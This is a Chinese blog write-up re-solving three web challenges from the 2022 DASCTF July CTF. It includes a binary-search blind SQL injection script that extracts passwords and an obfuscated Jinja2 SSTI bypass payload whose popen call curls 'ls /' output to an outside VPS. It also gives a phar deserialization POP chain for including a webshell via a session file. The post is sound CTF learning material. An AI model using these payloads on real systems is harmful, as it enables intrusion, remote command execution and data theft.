2022DASCTF7月赋能赛(复现)

重点是复现!!!!

前言

这次七月dasctf对于我这种小菜鸡来说属实坐牢了,确实还得练啊,比赛结束就坐等官方wp,利用官方的wp来复现我所了解知识范围内的题目,也算是对我所学的知识的巩固和提升。

绝对防御(sql盲注)

这个赛题做出来的师傅算是比较少,复现之后感觉难点就是寻找注入点和绕过waf。看了官方wp是利用jsfinder工具来查找web接口。那这个工具到底是什么?

它是github上的开源工具,这款工具功能就是查找隐藏在js文件中的api接口和敏感目录,以及一些子 域名。是一款强大的渗透工具(信息收集)

查看题目网站源代码,有许多js文件,那么就可以用这个工具寻找一下可用的web接口。

 这个工具适用于python3版本,在这里我们发现有个SUPPERAPI.php文件,访问这个文件,查看源代码。

function check(){
		var reg = /[`~!@#$%^&*()_+<>?:"{},.\/;'[\]]/im;
        if (reg.test(getQueryVariable("id"))) {
            alert("提示:您输入的信息含有非法字符!");
            window.location.href = "/"
         }
}

这里通过id传参,然后前端过滤掉这么多字符,给id传1和2,分别为admin和flag。测试几次发现前端过滤的死死的,后端也过滤了if,union等函数。这里我们使用sql盲注,比如写一个payload为

id=1 and ascii(substr((select database()),1,1))>1

看这个语句基本上就返回id=1,也就是admin,但是页面永远都是

还是前端限制没绕过,其实也不需要绕过,我们利用python提交payload就会发现语句是被正常执行了的。

import requests
import re
import time

url = 'http://c8f02a34-d6ba-4008-8b04-e5192f62474d.node4.buuoj.cn:81/SUPPERAPI.php?'

data = "id=1 and ascii(substr((select password from users where id=2),1,1))>1"

res = requests.get(url+data)

print(res.text)

print(len(res.text))

运行脚本发现admin被正常输出出来了。

 那么就是说,我们可以利用返回包的长度或者关键词admin作为盲注判断的依据。

剩下的就是编写脚本,用枚举法是最简单的,但是速度确实最慢的,没有个几分钟是跑不出来的,这次要学习的就是二分法盲注,让目标元素与临界值的中间元素进行比较,了解更多可以看这篇师傅的文章:(二分法盲注_hui________的博客-CSDN博客_二分法注入)我不再赘述。那么上下的就是编写脚本了。

import re
import requests
import time

url = "http://d360d124-6b20-4866-a2fe-8b80683c209c.node4.buuoj.cn:81/SUPPERAPI.php?"
payload = f"id=1 and ascii(substr((select database()),1,1))>127"
res = ''

for i in range(50):
   low = 32
   high = 127
   while(low <= high):
      mid = (high + low) //2
      print(low, mid, high)
      payload = "id=1 and ascii(substr((select password from users where id=2),{0},1))>{1}".format(i,mid)
      print(payload)
      re = requests.get(url + payload)
#print(response.text)
      if 'admin' in re.text:
         low = mid + 1
      else:
         high = mid - 1
         print("[+]:",low, res)
         time.sleep(1)
   res += chr(low)
   print("[+]:",low, res)
print(res)

从一个大佬脚本上改了一点,大佬文章:(DASCTF2022.07赋能赛 部分WriteUp | CN-SEC 中文网

Harddisk(SSTI盲注以及bypass)

这个题目打开输入名字进行年龄测试,

在比赛时都没想过是模板注入题,之前的思想太过于固化,总是以为查询,参数提交等这类型的题目都是sql注入,这次考察模板注入但是也过滤了好多东西,比如}}, {{, ], [, ], \, , +, _, ., x, g, request, print, args, values, input, globals, getitem,class,base等等,凡是构造payload所用到的都被过滤了。我们先看一个正常无过滤的简单payload:

{{"".__class__.__base__.__subclass__()[]}}

针对被过滤的东西进行了一个bypass

{{被过滤了:{%print ...%} 或者 {%if ....%}..{%endif..%}
一些魔术方法被过滤:利用unicode编码配合attr过滤器进行bypass
过滤了.:利用attr过滤器,比如"".__class__等价于""|attr("__class__")
过滤了[:引入__getitem__来调用字典中的键值,例如a['b']等价于a.__getitem__('b')

因为print被过滤,所以{%print..%}用不了,只能用第二种。这一种语法类似于if条件分支。

但是这只能判断if条件里的语句是否正确,不能够回显执行的结果。我们最终利用外带的方式将执行结果带出来。我们最终想用的payload为

{%if("".__class__.__base__.__subclasses__()[下标].__init__.__globals__.['popen'].(执行命令)
.read())%}123{%endif%}

过滤点和中括号后

{%if(""|attr("__class__")|attr("__base__")|attr("__getitem__")(0)|attr("__subclasses__")

()|attr("__getitem__")(下标)|attr("__init__")|attr("__globals__")|attr("__getitem__")

("popen")(执行命令)|attr("read")())%}123{%endif%}

现在关键的就是找到有popen的子类,我们可以利用python脚本来跑。那么payload为

{%if(""|attr("__class__")|attr("__bases__")|attr("__getitem__")(0)|attr("__subclasses__")()|attr("__getitem__")(下标)|attr("__init__")|attr("__globals__")|attr("__getitem__")("popen"))%}123{%endif%}

抓包post传参nickname,编写脚本遍历:

import requests

url = 'http://3e743ef2-9f39-4f3d-9960-fe1f103385e9.node4.buuoj.cn:81/'
headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0'
}
for i in range(300):
    data  = {
        "nickname": '{%if(""|attr("\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f")|attr("\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f")|attr("\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f")(0)|attr("\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f")()|attr("\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f")(' + str(i) + ')|attr("\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f")|attr("\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f")|attr("\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f")("\\u0070\\u006f\\u0070\\u0065\\u006e"))%}123{%endif%}'
    }
    r = requests.post(url=url,data=data,headers=headers).text
    if '123' in r:
        print("找到了")
        print(i)
        exit(0)

跑出来132,那么下标就为133了。找到了利用popen的类,最后一步就是执行命令了,官方wp利用vps开启监听将数据外带出来,之前一直没有用过,尝试外带失败。之后利用在线dns网站尝试dnslog外带也以失败告终。外带数据之后补一下坑,在今天先放一放。最后写下官方wp外带数据的payload。

{%if(""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(0)|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(133)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0075\u0072\u006c\u0020\u0034\u0037\u002e\u0031\u0030\u0031\u002e\u0035\u0037\u002e\u0037\u0032\u003a\u0032\u0033\u0033\u0033\u0020\u002d\u0064\u0020\"`\u006c\u0073\u0020\u002f`\"")|attr("\u0072\u0065\u0061\u0064")())%}1{%endif%}    # curl 47.xxx.xxx.72:2333 -d \"`ls /`\"

这个题目就主要复习一下ssti的bypass。

Ez to getflag(phar反序列化,session文件包含)

比赛方还挺人性化,搞了个非预期,直接搜索/flag就得出flag了。但是细看官方的预期解,涉及到的知识点也非常的多。

通过网站的搜索功能,我们可以把当前页面的源码给扒下来,抓包查看当前文件是file.php,传参file.php得到源码。发现file.php包含了class.php,也给它扒下来。得到两个文件的源码分别为file.php:

<?php
    error_reporting(0);
    session_start();
    require_once('class.php');
    $filename = $_GET['f'];
    $show = new Show($filename);
    $show->show();
?>

class.php(重点):

<?php
    class Upload {
        public $f;
        public $fname;
        public $fsize;
        function __construct(){
            $this->f = $_FILES;
        }
        function savefile() {  
            $fname = md5($this->f["file"]["name"]).".png"; 
            if(file_exists('./upload/'.$fname)) { 
                @unlink('./upload/'.$fname);
            }
            move_uploaded_file($this->f["file"]["tmp_name"],"upload/" . $fname); 
            echo "upload success! :D"; 
        } 
        function __toString(){
            $cont = $this->fname;
            $size = $this->fsize;
            echo $cont->$size;
            return 'this_is_upload';
        }
        function uploadfile() { 
            if($this->file_check()) { 
                $this->savefile(); 
            } 
        }
        function file_check() { 
            $allowed_types = array("png");
            $temp = explode(".",$this->f["file"]["name"]);
            $extension = end($temp); 
            if(empty($extension)) { 
                echo "what are you uploaded? :0";
                return false;
            }
            else{ 
                if(in_array($extension,$allowed_types)) {
                    $filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';
                    $f = file_get_contents($this->f["file"]["tmp_name"]);
                    if(preg_match_all($filter,$f)){
                        echo 'what are you doing!! :C';
                        return false;
                    }
                    return true; 
                } 
                else { 
                    echo 'png onlyyy! XP'; 
                    return false; 
                } 
            }
        }
    }
    class Show{
        public $source;
        public function __construct($fname)
        {
            $this->source = $fname;
        }
        public function show()
        {
            if(preg_match('/http|https|file:|php:|gopher|dict|\.\./i',$this->source)) {
                die('illegal fname :P');
            } else {
                echo file_get_contents($this->source);
                $src = "data:jpg;base64,".base64_encode(file_get_contents($this->source));
                echo "<img src={$src} />";
            }
        
        }
        function __get($name)
        {
            $this->ok($name);
        }
        public function __call($name, $arguments)
        {
            if(end($arguments)=='phpinfo'){
                phpinfo();
            }else{
                $this->backdoor(end($arguments));
            }
            return $name;
        }
        public function backdoor($door){
            include($door);
            echo "hacked!!";
        }
        public function __wakeup()
        {
            if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
                die("illegal fname XD");
            }
        }
    }
    class Test{
        public $str;
        public function __construct(){
            $this->str="It's works";
        }
        public function __destruct()
        {
            echo $this->str;
        }
    }
?>

看到源码就不难解释搜索/flag可以出来flag了。f参数传入的内容作为赋值为show类的source属性,然后调用show()方法,最后调用file_get_contents($this->source);进行文件读取。当然,这只是非预期,如果file_get_contents函数没有权限读取flag又该怎么做?

审计class.php,有一个upload类,这个类主要实现的就是网站的上传功能,限制上传的后缀为png格式,并且还对里面的内容进行了检查,不能出现以下字符串。

if(in_array($extension,$allowed_types)) {
                    $filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';
                    $f = file_get_contents($this->f["file"]["tmp_name"]);
                    if(preg_match_all($filter,$f)){
                        echo 'what are you doing!! :C';
                        return false;
                    }

show类主要实现网站的搜索功能,这里的魔术方法也比较多,第一应该想到的就是利用php反序列化来进行攻击。但是这两个文件都是没有unserialize函数,这时候我们可以利用phar反序列化来绕过这个限制,正好show类中没有过滤掉phar伪协议。但是在upload类中对上传文件内容进行了严格的过滤,这里上传gzip压缩后的phar文件可以绕过内容检测。(用gzip压缩后,phar文件的文件头也会被压缩,标志不存在了,那么进行内容检测时就不会把它当作phar文件来检测,它面对的只是一堆乱码,自然可以绕过限制,当然phar伪协议仍然可以解析phar文件)

那么接下来找漏洞利用点,仔细看show类里有一个backdoor方法使用了include包含,我们可以让它包含我们的session临时文件,上传一个含有webshell的临时文件。

那么构造pop链:

首先起点就是test类的__destruct方法,有echo输出,str实例化upload类调用__tostring。

这里可以调用任意类的任意方法 ,可以将this->fname赋值为Show类,把$this->fsize赋值为想要包含的文件的文件名。这样可以触发show类的__get方法,为什么要赋值为文件名,因为这样调用__get方法参数就为fsize属性。

这里调用show类不存在的ok方法。自动调用__call函数,fsize属性就传递为arguments。这里就调用了backdoor方法,成功包含文件名。

 那么就开始编写pop链

<?php
class Upload{
    public $f;
    public $fname;
    public $fsize;
}
class Show{
    public $source;
}
class Test{
    public $str;
}
$a = new Upload();
$b = new Show();
$c = new Test();
$c->str = $a;
$a->fname = $b;
$a->fszie = "/tmp/sess_chaaa";//固定前缀sess_
//phar压缩:
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($c);  //把我们构造的pop链的内容放进去
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

 本地生成了shell.phar,里面的内容确实被序列化了。

那么把它压缩并修改png上传。因为临时文件可能会被删除掉,所以编写多线程脚本进行上传和包含。白嫖官方的脚本,目前看不懂。

相关文章:(浅析Phar反序列化 - FreeBuf网络安全行业门户

                  (详解利用session进行文件包含_合天网安实验室的博客-CSDN博客_session文件包含

结语

剩下一个web题不在能力范围内,复现并不代表会了,它能暴露出我所学知识的短板,在今后可以花时间来弥补这些不足。

官方的wp:DASCTF|2022DASCTF7月赋能赛官方Write Up

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

XiLitter

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值